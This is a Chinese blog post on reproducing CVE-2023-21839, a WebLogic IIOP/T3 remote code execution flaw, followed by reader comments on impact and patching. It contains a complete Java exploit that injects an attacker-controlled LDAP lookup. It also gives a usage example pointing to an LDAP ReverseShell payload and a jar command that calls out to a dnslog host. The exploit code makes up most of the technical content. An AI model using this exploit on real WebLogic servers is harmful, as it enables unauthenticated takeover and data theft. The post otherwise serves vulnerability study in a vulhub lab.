AI智能摘要
当Oracle WebLogic这个承载着无数企业核心业务的中间件,其IIOP/T3协议存在致命缺陷时,会发生什么?一个未经身份验证的攻击者,就能远程接管服务器,执行任意命令。本文为你深度剖析高危漏洞CVE-2023-21839,详解其影响版本、漏洞原理,并提供从环境搭建到漏洞复现的完整实战指南,助你深刻理解漏洞危害并掌握验证方法。
— AI 生成的文章内容摘要
由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839
git clone https://github.com/vulhub/vulhub.git
docker-compose up -d

https://github.com/DXask88MA/Weblogic-CVE-2023-21839
选择的sink点在
weblogic.deployment.jms.ForeignOpaqueReference.class
也可以选择使用4ra1n师傅用go模拟数据包的的工具:
https://github.com/4ra1n/CVE-2023-21839
选择的sink点在
weblogic.jndi.internal.ForeignOpaqueReference.class
POC:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Random;
public class CVE_2023_21839 {
static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址\n e.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";
private static InitialContext getInitialContext(String url)throws NamingException
{
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
public static void main(String args[]) throws Exception {
if(args.length <2){
System.out.println(HOW_TO_USE);
System.exit(0);
}
String t3Url = args[0];
String ldapUrl = args[1];
InitialContext c=getInitialContext("t3://"+t3Url);
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,ldapUrl);
String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
try{
c.bind(bindName,f);
c.lookup(bindName);
}catch(Exception e){ }
}
}
https://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839
java -jar Weblogic-CVE-2023-21839.jar 127.0.0.1:7001 ldap://81c95c8f.dns.1433.eu.org/test
查看dnslog,收到请求,漏洞验证成功

参考链接:

北京市 1F
简单直观的事件处置流程会更容易落实,还节省时间。
湖北省武汉市 2F
这个漏洞最近挺火的,好多单位都在排查 👍
日本 3F
前几天刚处理过类似问题,T3协议真是个老坑
浙江省杭州市 B1
@ 维度跃迁 确实是个老坑,隔三差五就冒出来一个。
辽宁省沈阳市 4F
为啥用ForeignOpaqueReference当sink点?有更详细的利用链分析吗?
浙江省台州市 5F
感觉影响范围有点广,12到14都中招了,运维要加班了 hhh
北京市 6F
我试了下vulhub环境,docker-compose启动后console页面打不开,是不是镜像有问题?
河南省郑州市 7F
ldap地址必须自己搭吗?有没有现成的工具能直接用?
日本 8F
这漏洞能打内网横向,实际场景危害比表面看起来大得多
湖北省武汉市 9F
同样是反序列化,这个比CVE-2020-2555好利用吗?
辽宁省大连市 B1
@ 梦魇编织师 感觉利用链复杂程度差不多,但这个影响版本更新一点。
韩国 10F
刚入坑安全,复现步骤能再细点吗?卡在POC执行这步了
巴基斯坦 B1
@ 蘅芜春晓 可以看看POC里的jar包依赖全不全,有时候少包会报错。
澳大利亚 11F
坐等高权限利用方式,目前看感觉还得配合别的漏洞打666
湖北省十堰市 12F
这漏洞复现起来挺麻烦的,环境搭建就卡了半天。
日本 13F
T3协议默认开着的吗?生产环境是不是都得赶紧关掉。
日本 14F
ldap地址用dnslog测感觉有点慢,有别的验证方法吗?
上海市长宁区 15F
ForeignOpaqueReference这个类平时用得到吗?感觉好冷门。
上海市金山区 16F
我们单位上周刚发了漏洞通告,让紧急排查weblogic版本,看来就是因为它。
北京市 17F
补丁链接点进去是Oracle官网,找起来有点费劲。
浙江省台州市 18F
这个版本的weblogic还挺常见的,中招风险不小。
浙江省杭州市 19F
要是能有个一键检测脚本就好了,手动搭环境太费时间。
江苏省徐州市 20F
这个ForeignOpaqueReference类名真拗口啊。
四川省泸州市 B1
@ 电路探险家 名字绕口但威力不小